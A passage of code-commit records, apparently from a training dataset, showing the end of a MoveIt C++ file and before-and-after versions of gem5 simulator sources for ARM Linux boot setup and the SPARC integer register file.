trajectory_execution_manager_->waitForExecution();\n }\n trajectory_execution_manager_->pushAndExecute(robot_trajectory_msg);\n return true;\n}\n\nconst std::shared_ptr<tf2_ros::Buffer>& MoveItCpp::getTFBuffer() const\n{\n return tf_buffer_;\n}\n\nvoid MoveItCpp::clearContents()\n{\n tf_listener_.reset();\n tf_buffer_.reset();\n planning_scene_monitor_.reset();\n robot_model_.reset();\n planning_pipelines_.clear();\n}\n} \/\/ namespace moveit_cpp\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2010-2013 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder. You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2002-2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Ali Saidi\n *\/\n\n#include \"arch\/arm\/linux\/atag.hh\"\n#include \"arch\/arm\/linux\/system.hh\"\n#include \"arch\/arm\/isa_traits.hh\"\n#include \"arch\/arm\/utility.hh\"\n#include \"arch\/generic\/linux\/threadinfo.hh\"\n#include \"base\/loader\/dtb_object.hh\"\n#include \"base\/loader\/object_file.hh\"\n#include \"base\/loader\/symtab.hh\"\n#include \"cpu\/base.hh\"\n#include \"cpu\/pc_event.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"debug\/Loader.hh\"\n#include \"kern\/linux\/events.hh\"\n#include \"mem\/fs_translating_port_proxy.hh\"\n#include \"mem\/physical.hh\"\n#include \"sim\/stat_control.hh\"\n\nusing namespace ArmISA;\nusing namespace Linux;\n\nLinuxArmSystem::LinuxArmSystem(Params *p)\n : GenericArmSystem(p), dumpStatsPCEvent(nullptr),\n enableContextSwitchStatsDump(p->enable_context_switch_stats_dump),\n taskFile(nullptr), kernelPanicEvent(nullptr), kernelOopsEvent(nullptr)\n{\n if (p->panic_on_panic) {\n kernelPanicEvent = addKernelFuncEventOrPanic<PanicPCEvent>(\n \"panic\", \"Kernel panic in simulated kernel\");\n } else {\n#ifndef NDEBUG\n kernelPanicEvent = addKernelFuncEventOrPanic<BreakPCEvent>(\"panic\");\n#endif\n }\n\n if (p->panic_on_oops) {\n kernelOopsEvent = addKernelFuncEventOrPanic<PanicPCEvent>(\n \"oops_exit\", \"Kernel oops in guest\");\n }\n\n \/\/ With ARM udelay() is #defined to __udelay\n \/\/ newer kernels use __loop_udelay and __loop_const_udelay symbols\n uDelaySkipEvent = addKernelFuncEvent<UDelayEvent>(\n \"__loop_udelay\", \"__udelay\", 1000, 0);\n if (!uDelaySkipEvent)\n uDelaySkipEvent = addKernelFuncEventOrPanic<UDelayEvent>(\n \"__udelay\", \"__udelay\", 1000, 0);\n\n \/\/ constant arguments to udelay() have some precomputation done ahead of\n \/\/ time. Constant comes from code.\n constUDelaySkipEvent = addKernelFuncEvent<UDelayEvent>(\n \"__loop_const_udelay\", \"__const_udelay\", 1000, 107374);\n if (!constUDelaySkipEvent)\n constUDelaySkipEvent = addKernelFuncEventOrPanic<UDelayEvent>(\n \"__const_udelay\", \"__const_udelay\", 1000, 107374);\n\n}\n\nvoid\nLinuxArmSystem::initState()\n{\n \/\/ Moved from the constructor to here since it relies on the\n \/\/ address map being resolved in the interconnect\n\n \/\/ Call the initialisation of the super class\n GenericArmSystem::initState();\n\n \/\/ Load symbols at physical address, we might not want\n \/\/ to do this permanently, for but early bootup work\n \/\/ it is helpful.\n if (params()->early_kernel_symbols) {\n kernel->loadGlobalSymbols(kernelSymtab, 0, 0, loadAddrMask);\n kernel->loadGlobalSymbols(debugSymbolTable, 0, 0, loadAddrMask);\n }\n\n \/\/ Setup boot data structure\n Addr addr = 0;\n \/\/ Check if the kernel image has a symbol that tells us it supports\n \/\/ device trees.\n bool kernel_has_fdt_support =\n kernelSymtab->findAddress(\"unflatten_device_tree\", addr);\n bool dtb_file_specified = params()->dtb_filename != \"\";\n\n if (kernel_has_fdt_support && dtb_file_specified) {\n \/\/ Kernel supports flattened device tree and dtb file specified.\n \/\/ Using Device Tree Blob to describe system configuration.\n inform(\"Loading DTB file: %s at address %#x\\n\", params()->dtb_filename,\n params()->atags_addr + loadAddrOffset);\n\n ObjectFile *dtb_file = createObjectFile(params()->dtb_filename, true);\n if (!dtb_file) {\n fatal(\"couldn't load DTB file: %s\\n\", params()->dtb_filename);\n }\n\n DtbObject *_dtb_file = dynamic_cast<DtbObject*>(dtb_file);\n\n if (_dtb_file) {\n if (!_dtb_file->addBootCmdLine(params()->boot_osflags.c_str(),\n params()->boot_osflags.size())) {\n warn(\"couldn't append bootargs to DTB file: %s\\n\",\n params()->dtb_filename);\n }\n } else {\n warn(\"dtb_file cast failed; couldn't append bootargs \"\n \"to DTB file: %s\\n\", params()->dtb_filename);\n }\n\n dtb_file->setTextBase(params()->atags_addr + loadAddrOffset);\n dtb_file->loadSections(physProxy);\n delete dtb_file;\n } else {\n \/\/ Using ATAGS\n \/\/ Warn if the kernel supports FDT and we haven't specified one\n if (kernel_has_fdt_support) {\n assert(!dtb_file_specified);\n warn(\"Kernel supports device tree, but no DTB file specified\\n\");\n }\n \/\/ Warn if the kernel doesn't support FDT and we have specified one\n if (dtb_file_specified) {\n assert(!kernel_has_fdt_support);\n warn(\"DTB file specified, but no device tree support in kernel\\n\");\n }\n\n AtagCore ac;\n ac.flags(1); \/\/ read-only\n ac.pagesize(8192);\n ac.rootdev(0);\n\n AddrRangeList atagRanges = physmem.getConfAddrRanges();\n if (atagRanges.size() != 1) {\n fatal(\"Expected a single ATAG memory entry but got %d\\n\",\n atagRanges.size());\n }\n AtagMem am;\n am.memSize(atagRanges.begin()->size());\n am.memStart(atagRanges.begin()->start());\n\n AtagCmdline ad;\n ad.cmdline(params()->boot_osflags);\n\n DPRINTF(Loader, \"boot command line %d bytes: %s\\n\",\n ad.size() <<2, params()->boot_osflags.c_str());\n\n AtagNone an;\n\n uint32_t size = ac.size() + am.size() + ad.size() + an.size();\n uint32_t offset = 0;\n uint8_t *boot_data = new uint8_t[size << 2];\n\n offset += ac.copyOut(boot_data + offset);\n offset += am.copyOut(boot_data + offset);\n offset += ad.copyOut(boot_data + offset);\n offset += an.copyOut(boot_data + offset);\n\n DPRINTF(Loader, \"Boot atags was %d bytes in total\\n\", size << 2);\n DDUMP(Loader, boot_data, size << 2);\n\n physProxy.writeBlob(params()->atags_addr + loadAddrOffset, boot_data,\n size << 2);\n\n delete[] boot_data;\n }\n\n \/\/ Kernel boot requirements to set up r0, r1 and r2 in ARMv7\n for (int i = 0; i < threadContexts.size(); i++) {\n threadContexts[i]->setIntReg(0, 0);\n threadContexts[i]->setIntReg(1, params()->machine_type);\n threadContexts[i]->setIntReg(2, params()->atags_addr + loadAddrOffset);\n }\n}\n\nLinuxArmSystem::~LinuxArmSystem()\n{\n if (uDelaySkipEvent)\n delete uDelaySkipEvent;\n if (constUDelaySkipEvent)\n delete constUDelaySkipEvent;\n\n if (dumpStatsPCEvent)\n delete dumpStatsPCEvent;\n}\n\nLinuxArmSystem *\nLinuxArmSystemParams::create()\n{\n return new LinuxArmSystem(this);\n}\n\nvoid\nLinuxArmSystem::startup()\n{\n if (enableContextSwitchStatsDump) {\n dumpStatsPCEvent = addKernelFuncEvent<DumpStatsPCEvent>(\"__switch_to\");\n if (!dumpStatsPCEvent)\n panic(\"dumpStatsPCEvent not created!\");\n\n std::string task_filename = \"tasks.txt\";\n taskFile = simout.create(name() + \".\" + task_filename);\n\n for (int i = 0; i < _numContexts; i++) {\n ThreadContext *tc = threadContexts[i];\n uint32_t pid = tc->getCpuPtr()->getPid();\n if (pid != BaseCPU::invldPid) {\n mapPid(tc, pid);\n tc->getCpuPtr()->taskId(taskMap[pid]);\n }\n }\n }\n}\n\nvoid\nLinuxArmSystem::mapPid(ThreadContext *tc, uint32_t pid)\n{\n \/\/ Create a new unique identifier for this pid\n std::map<uint32_t, uint32_t>::iterator itr = taskMap.find(pid);\n if (itr == taskMap.end()) {\n uint32_t map_size = taskMap.size();\n if (map_size > ContextSwitchTaskId::MaxNormalTaskId + 1) {\n warn_once(\"Error out of identifiers for cache occupancy stats\");\n taskMap[pid] = ContextSwitchTaskId::Unknown;\n } else {\n taskMap[pid] = map_size;\n }\n }\n}\n\n\/** This function is called whenever the the kernel function\n * \"__switch_to\" is called to change running tasks.\n *\n * r0 = task_struct of the previously running process\n * r1 = task_info of the previously running process\n * r2 = task_info of the next process to run\n *\/\nvoid\nDumpStatsPCEvent::process(ThreadContext *tc)\n{\n Linux::ThreadInfo ti(tc);\n Addr task_descriptor = tc->readIntReg(2);\n uint32_t pid = ti.curTaskPID(task_descriptor);\n uint32_t tgid = ti.curTaskTGID(task_descriptor);\n std::string next_task_str = ti.curTaskName(task_descriptor);\n\n \/\/ Streamline treats pid == -1 as the kernel process.\n \/\/ Also pid == 0 implies idle process (except during Linux boot)\n int32_t mm = ti.curTaskMm(task_descriptor);\n bool is_kernel = (mm == 0);\n if (is_kernel && (pid != 0)) {\n pid = -1;\n tgid = -1;\n next_task_str = \"kernel\";\n }\n\n LinuxArmSystem* sys = dynamic_cast<LinuxArmSystem *>(tc->getSystemPtr());\n if (!sys) {\n panic(\"System is not LinuxArmSystem while getting Linux process info!\");\n }\n std::map<uint32_t, uint32_t>& taskMap = sys->taskMap;\n\n \/\/ Create a new unique identifier for this pid\n sys->mapPid(tc, pid);\n\n \/\/ Set cpu task id, output process info, and dump stats\n tc->getCpuPtr()->taskId(taskMap[pid]);\n tc->getCpuPtr()->setPid(pid);\n\n OutputStream* taskFile = sys->taskFile;\n\n \/\/ Task file is read by cache occupancy plotting script or\n \/\/ Streamline conversion script.\n ccprintf(*(taskFile->stream()),\n \"tick=%lld %d cpu_id=%d next_pid=%d next_tgid=%d next_task=%s\\n\",\n curTick(), taskMap[pid], tc->cpuId(), (int) pid, (int) tgid,\n next_task_str);\n taskFile->stream()->flush();\n\n \/\/ Dump and reset statistics\n Stats::schedStatEvent(true, true, curTick(), 0);\n}\n\n<commit_msg>arm: Remove BreakPCEvent on guest kernel panic<commit_after>\/*\n * Copyright (c) 2010-2013 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder. You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2002-2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Ali Saidi\n *\/\n\n#include \"arch\/arm\/linux\/atag.hh\"\n#include \"arch\/arm\/linux\/system.hh\"\n#include \"arch\/arm\/isa_traits.hh\"\n#include \"arch\/arm\/utility.hh\"\n#include \"arch\/generic\/linux\/threadinfo.hh\"\n#include \"base\/loader\/dtb_object.hh\"\n#include \"base\/loader\/object_file.hh\"\n#include \"base\/loader\/symtab.hh\"\n#include \"cpu\/base.hh\"\n#include \"cpu\/pc_event.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"debug\/Loader.hh\"\n#include \"kern\/linux\/events.hh\"\n#include \"mem\/fs_translating_port_proxy.hh\"\n#include \"mem\/physical.hh\"\n#include \"sim\/stat_control.hh\"\n\nusing namespace ArmISA;\nusing namespace Linux;\n\nLinuxArmSystem::LinuxArmSystem(Params *p)\n : GenericArmSystem(p), dumpStatsPCEvent(nullptr),\n enableContextSwitchStatsDump(p->enable_context_switch_stats_dump),\n taskFile(nullptr), kernelPanicEvent(nullptr), kernelOopsEvent(nullptr)\n{\n if (p->panic_on_panic) {\n kernelPanicEvent = addKernelFuncEventOrPanic<PanicPCEvent>(\n \"panic\", \"Kernel panic in simulated kernel\");\n }\n\n if (p->panic_on_oops) {\n kernelOopsEvent = addKernelFuncEventOrPanic<PanicPCEvent>(\n \"oops_exit\", \"Kernel oops in guest\");\n }\n\n \/\/ With ARM udelay() is #defined to __udelay\n \/\/ newer kernels use __loop_udelay and __loop_const_udelay symbols\n uDelaySkipEvent = addKernelFuncEvent<UDelayEvent>(\n \"__loop_udelay\", \"__udelay\", 1000, 0);\n if (!uDelaySkipEvent)\n uDelaySkipEvent = addKernelFuncEventOrPanic<UDelayEvent>(\n \"__udelay\", \"__udelay\", 1000, 0);\n\n \/\/ constant arguments to udelay() have some precomputation done ahead of\n \/\/ time. Constant comes from code.\n constUDelaySkipEvent = addKernelFuncEvent<UDelayEvent>(\n \"__loop_const_udelay\", \"__const_udelay\", 1000, 107374);\n if (!constUDelaySkipEvent)\n constUDelaySkipEvent = addKernelFuncEventOrPanic<UDelayEvent>(\n \"__const_udelay\", \"__const_udelay\", 1000, 107374);\n\n}\n\nvoid\nLinuxArmSystem::initState()\n{\n \/\/ Moved from the constructor to here since it relies on the\n \/\/ address map being resolved in the interconnect\n\n \/\/ Call the initialisation of the super class\n GenericArmSystem::initState();\n\n \/\/ Load symbols at physical address, we might not want\n \/\/ to do this permanently, for but early bootup work\n \/\/ it is helpful.\n if (params()->early_kernel_symbols) {\n kernel->loadGlobalSymbols(kernelSymtab, 0, 0, loadAddrMask);\n kernel->loadGlobalSymbols(debugSymbolTable, 0, 0, loadAddrMask);\n }\n\n \/\/ Setup boot data structure\n Addr addr = 0;\n \/\/ Check if the kernel image has a symbol that tells us it supports\n \/\/ device trees.\n bool kernel_has_fdt_support =\n kernelSymtab->findAddress(\"unflatten_device_tree\", addr);\n bool dtb_file_specified = params()->dtb_filename != \"\";\n\n if (kernel_has_fdt_support && dtb_file_specified) {\n \/\/ Kernel supports flattened device tree and dtb file specified.\n \/\/ Using Device Tree Blob to describe system configuration.\n inform(\"Loading DTB file: %s at address %#x\\n\", params()->dtb_filename,\n params()->atags_addr + loadAddrOffset);\n\n ObjectFile *dtb_file = createObjectFile(params()->dtb_filename, true);\n if (!dtb_file) {\n fatal(\"couldn't load DTB file: %s\\n\", params()->dtb_filename);\n }\n\n DtbObject *_dtb_file = dynamic_cast<DtbObject*>(dtb_file);\n\n if (_dtb_file) {\n if (!_dtb_file->addBootCmdLine(params()->boot_osflags.c_str(),\n params()->boot_osflags.size())) {\n warn(\"couldn't append bootargs to DTB file: %s\\n\",\n params()->dtb_filename);\n }\n } else {\n warn(\"dtb_file cast failed; couldn't append bootargs \"\n \"to DTB file: %s\\n\", params()->dtb_filename);\n }\n\n dtb_file->setTextBase(params()->atags_addr + loadAddrOffset);\n dtb_file->loadSections(physProxy);\n delete dtb_file;\n } else {\n \/\/ Using ATAGS\n \/\/ Warn if the kernel supports FDT and we haven't specified one\n if (kernel_has_fdt_support) {\n assert(!dtb_file_specified);\n warn(\"Kernel supports device tree, but no DTB file specified\\n\");\n }\n \/\/ Warn if the kernel doesn't support FDT and we have specified one\n if (dtb_file_specified) {\n assert(!kernel_has_fdt_support);\n warn(\"DTB file specified, but no device tree support in kernel\\n\");\n }\n\n AtagCore ac;\n ac.flags(1); \/\/ read-only\n ac.pagesize(8192);\n ac.rootdev(0);\n\n AddrRangeList atagRanges = physmem.getConfAddrRanges();\n if (atagRanges.size() != 1) {\n fatal(\"Expected a single ATAG memory entry but got %d\\n\",\n atagRanges.size());\n }\n AtagMem am;\n am.memSize(atagRanges.begin()->size());\n am.memStart(atagRanges.begin()->start());\n\n AtagCmdline ad;\n ad.cmdline(params()->boot_osflags);\n\n DPRINTF(Loader, \"boot command line %d bytes: %s\\n\",\n ad.size() <<2, params()->boot_osflags.c_str());\n\n AtagNone an;\n\n uint32_t size = ac.size() + am.size() + ad.size() + an.size();\n uint32_t offset = 0;\n uint8_t *boot_data = new uint8_t[size << 2];\n\n offset += ac.copyOut(boot_data + offset);\n offset += am.copyOut(boot_data + offset);\n offset += ad.copyOut(boot_data + offset);\n offset += an.copyOut(boot_data + offset);\n\n DPRINTF(Loader, \"Boot atags was %d bytes in total\\n\", size << 2);\n DDUMP(Loader, boot_data, size << 2);\n\n physProxy.writeBlob(params()->atags_addr + loadAddrOffset, boot_data,\n size << 2);\n\n delete[] boot_data;\n }\n\n \/\/ Kernel boot requirements to set up r0, r1 and r2 in ARMv7\n for (int i = 0; i < threadContexts.size(); i++) {\n threadContexts[i]->setIntReg(0, 0);\n threadContexts[i]->setIntReg(1, params()->machine_type);\n threadContexts[i]->setIntReg(2, params()->atags_addr + loadAddrOffset);\n }\n}\n\nLinuxArmSystem::~LinuxArmSystem()\n{\n if (uDelaySkipEvent)\n delete uDelaySkipEvent;\n if (constUDelaySkipEvent)\n delete constUDelaySkipEvent;\n\n if (dumpStatsPCEvent)\n delete dumpStatsPCEvent;\n}\n\nLinuxArmSystem *\nLinuxArmSystemParams::create()\n{\n return new LinuxArmSystem(this);\n}\n\nvoid\nLinuxArmSystem::startup()\n{\n if (enableContextSwitchStatsDump) {\n dumpStatsPCEvent = addKernelFuncEvent<DumpStatsPCEvent>(\"__switch_to\");\n if (!dumpStatsPCEvent)\n panic(\"dumpStatsPCEvent not created!\");\n\n std::string task_filename = \"tasks.txt\";\n taskFile = simout.create(name() + \".\" + task_filename);\n\n for (int i = 0; i < _numContexts; i++) {\n ThreadContext *tc = threadContexts[i];\n uint32_t pid = tc->getCpuPtr()->getPid();\n if (pid != BaseCPU::invldPid) {\n mapPid(tc, pid);\n tc->getCpuPtr()->taskId(taskMap[pid]);\n }\n }\n }\n}\n\nvoid\nLinuxArmSystem::mapPid(ThreadContext *tc, uint32_t pid)\n{\n \/\/ Create a new unique identifier for this pid\n std::map<uint32_t, uint32_t>::iterator itr = taskMap.find(pid);\n if (itr == taskMap.end()) {\n uint32_t map_size = taskMap.size();\n if (map_size > ContextSwitchTaskId::MaxNormalTaskId + 1) {\n warn_once(\"Error out of identifiers for cache occupancy stats\");\n taskMap[pid] = ContextSwitchTaskId::Unknown;\n } else {\n taskMap[pid] = map_size;\n }\n }\n}\n\n\/** This function is called whenever the the kernel function\n * \"__switch_to\" is called to change running tasks.\n *\n * r0 = task_struct of the previously running process\n * r1 = task_info of the previously running process\n * r2 = task_info of the next process to run\n *\/\nvoid\nDumpStatsPCEvent::process(ThreadContext *tc)\n{\n Linux::ThreadInfo ti(tc);\n Addr task_descriptor = tc->readIntReg(2);\n uint32_t pid = ti.curTaskPID(task_descriptor);\n uint32_t tgid = ti.curTaskTGID(task_descriptor);\n std::string next_task_str = ti.curTaskName(task_descriptor);\n\n \/\/ Streamline treats pid == -1 as the kernel process.\n \/\/ Also pid == 0 implies idle process (except during Linux boot)\n int32_t mm = ti.curTaskMm(task_descriptor);\n bool is_kernel = (mm == 0);\n if (is_kernel && (pid != 0)) {\n pid = -1;\n tgid = -1;\n next_task_str = \"kernel\";\n }\n\n LinuxArmSystem* sys = dynamic_cast<LinuxArmSystem *>(tc->getSystemPtr());\n if (!sys) {\n panic(\"System is not LinuxArmSystem while getting Linux process info!\");\n }\n std::map<uint32_t, uint32_t>& taskMap = sys->taskMap;\n\n \/\/ Create a new unique identifier for this pid\n sys->mapPid(tc, pid);\n\n \/\/ Set cpu task id, output process info, and dump stats\n tc->getCpuPtr()->taskId(taskMap[pid]);\n tc->getCpuPtr()->setPid(pid);\n\n OutputStream* taskFile = sys->taskFile;\n\n \/\/ Task file is read by cache occupancy plotting script or\n \/\/ Streamline conversion script.\n ccprintf(*(taskFile->stream()),\n \"tick=%lld %d cpu_id=%d next_pid=%d next_tgid=%d next_task=%s\\n\",\n curTick(), taskMap[pid], tc->cpuId(), (int) pid, (int) tgid,\n next_task_str);\n taskFile->stream()->flush();\n\n \/\/ Dump and reset statistics\n Stats::schedStatEvent(true, true, curTick(), 0);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2003-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n * Ali Saidi\n *\/\n\n#ifndef __ARCH_SPARC_INTREGFILE_HH__\n#define __ARCH_SPARC_INTREGFILE_HH__\n\n#include \"arch\/sparc\/isa_traits.hh\"\n#include \"arch\/sparc\/types.hh\"\n#include \"base\/bitfield.hh\"\n\n#include <string>\n\nclass Checkpoint;\n\nnamespace SparcISA\n{\n class RegFile;\n\n \/\/This function translates integer register file indices into names\n std::string getIntRegName(RegIndex);\n\n const int NumIntArchRegs = 32;\n const int NumIntRegs = (MaxGL + 1) * 8 + NWindows * 16 + NumMicroIntRegs;\n\n class IntRegFile\n {\n private:\n friend class RegFile;\n protected:\n \/\/The number of bits needed to index into each 8 register frame\n static const int FrameOffsetBits = 3;\n \/\/The number of bits to choose between the 4 sets of 8 registers\n static const int FrameNumBits = 2;\n\n \/\/The number of registers per \"frame\" (8)\n static const int RegsPerFrame = 1 << FrameOffsetBits;\n \/\/A mask to get the frame number\n static const uint64_t FrameNumMask =\n (FrameNumBits == sizeof(int)) ?\n (unsigned int)(-1) :\n (1 << FrameNumBits) - 1;\n static const uint64_t FrameOffsetMask =\n (FrameOffsetBits == sizeof(int)) ?\n (unsigned int)(-1) :\n (1 << FrameOffsetBits) - 1;\n\n IntReg regGlobals[MaxGL+1][RegsPerFrame];\n IntReg regSegments[2 * NWindows][RegsPerFrame];\n IntReg microRegs[NumMicroIntRegs];\n IntReg regs[NumIntRegs];\n\n enum regFrame {Globals, Outputs, Locals, Inputs, NumFrames};\n\n IntReg * regView[NumFrames];\n\n static const int RegGlobalOffset = 0;\n static const int FrameOffset = MaxGL * RegsPerFrame;\n int offset[NumFrames];\n\n public:\n\n int flattenIndex(int reg);\n\n void clear();\n\n IntRegFile();\n\n IntReg readReg(int intReg);\n\n void setReg(int intReg, const IntReg &val);\n\n void serialize(std::ostream &os);\n\n void unserialize(Checkpoint *cp, const std::string §ion);\n\n protected:\n \/\/This doesn't effect the actual CWP register.\n \/\/It's purpose is to adjust the view of the register file\n \/\/to what it would be if CWP = cwp.\n void setCWP(int cwp);\n\n void setGlobals(int gl);\n };\n}\n\n#endif\n<commit_msg>Fixed an off-by-one error.<commit_after>\/*\n * Copyright (c) 2003-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n * Ali Saidi\n *\/\n\n#ifndef __ARCH_SPARC_INTREGFILE_HH__\n#define __ARCH_SPARC_INTREGFILE_HH__\n\n#include \"arch\/sparc\/isa_traits.hh\"\n#include \"arch\/sparc\/types.hh\"\n#include \"base\/bitfield.hh\"\n\n#include <string>\n\nclass Checkpoint;\n\nnamespace SparcISA\n{\n class RegFile;\n\n \/\/This function translates integer register file indices into names\n std::string getIntRegName(RegIndex);\n\n const int NumIntArchRegs = 32;\n const int NumIntRegs = (MaxGL + 1) * 8 + NWindows * 16 + NumMicroIntRegs;\n\n class IntRegFile\n {\n private:\n friend class RegFile;\n protected:\n \/\/The number of bits needed to index into each 8 register frame\n static const int FrameOffsetBits = 3;\n \/\/The number of bits to choose between the 4 sets of 8 registers\n static const int FrameNumBits = 2;\n\n \/\/The number of registers per \"frame\" (8)\n static const int RegsPerFrame = 1 << FrameOffsetBits;\n \/\/A mask to get the frame number\n static const uint64_t FrameNumMask =\n (FrameNumBits == sizeof(int)) ?\n (unsigned int)(-1) :\n (1 << FrameNumBits) - 1;\n static const uint64_t FrameOffsetMask =\n (FrameOffsetBits == sizeof(int)) ?\n (unsigned int)(-1) :\n (1 << FrameOffsetBits) - 1;\n\n IntReg regGlobals[MaxGL+1][RegsPerFrame];\n IntReg regSegments[2 * NWindows][RegsPerFrame];\n IntReg microRegs[NumMicroIntRegs];\n IntReg regs[NumIntRegs];\n\n enum regFrame {Globals, Outputs, Locals, Inputs, NumFrames};\n\n IntReg * 